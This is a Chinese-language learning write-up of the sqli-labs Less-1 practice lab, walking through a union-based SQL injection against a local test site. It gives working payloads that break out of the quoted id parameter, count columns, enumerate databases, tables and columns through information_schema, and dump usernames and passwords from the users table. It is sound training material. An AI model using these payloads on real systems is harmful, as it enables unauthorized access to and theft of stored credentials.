sql个人学习之旅1
sqli-labs
less-1:
1.为使更清楚的了解我们自己输入的语句最终成了什么模样,所以找到该关对应的PHP文件,找到$sql=“selet * from users where id =’ $id’ LIMIT 0,1”;回车,添加如图2.来到关卡界面,正式迎战
将http://127.0.0.1/sqli-labs-php7-master/Less-1变为
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1回车,显示如图:
不难发现输出的是 $sql这个变量里的内容,只不过用1替换了原来位置上的 $id,想想,如果输入1’会是啥状况,如图:
果然如大家所料,很明显1右边多带的这一撇恰好和原来本就存在的一对引号的左撇闭合,无奈就剩下一个右撇不能登对儿,就会报错了,不过还是有解决方法的,用–+或者是# 来舍弃孤零零的右撇就好了,如图:
3.此时,用order by来看看有几列数据,假设是3列
id=1’ order by 3–+ 回车,如图:正确,说明起码有三列数据,那再试试4呢,发现报错
说明有3列,接下来就用union联合查询了
4.union联合查询时,id=-1才能返回union联合查询语句
我们不妨用 union select 1,2,3 来看看返回情况
发现返回的是2和3,说明2和3这两个位置大有用处,可以用来查询信息,暂且选择2这个位置吧
5.将2这个位置替换成group_concat(schema_name),然后在3后面说清楚在哪里查,即
from information_schema.schemata
[小话匣
(1)group_concat:为的是将找到的数据排成一行
(2)information_schema 是MYSQL自带的信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息,可以通过其下的schemata表查询数据库名~~
(3)schema_name:数据库名 ]
id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆出很多数据库名,直觉选security这个数据库去找相关用户登录信息
6.根据选的数据库名security,去找其中的表名
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
table_schema:表所在的数据库,指明了要去security这个数据库去找有哪些表名
7.以此类推,依据表名(users)查列名(column_name)
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
最终再在users表中查字段名username ,password
-1' union select 1,username,password from users where id=1--+
这里输入的是where id=1,换成不同的id就会有不同的用户名和密码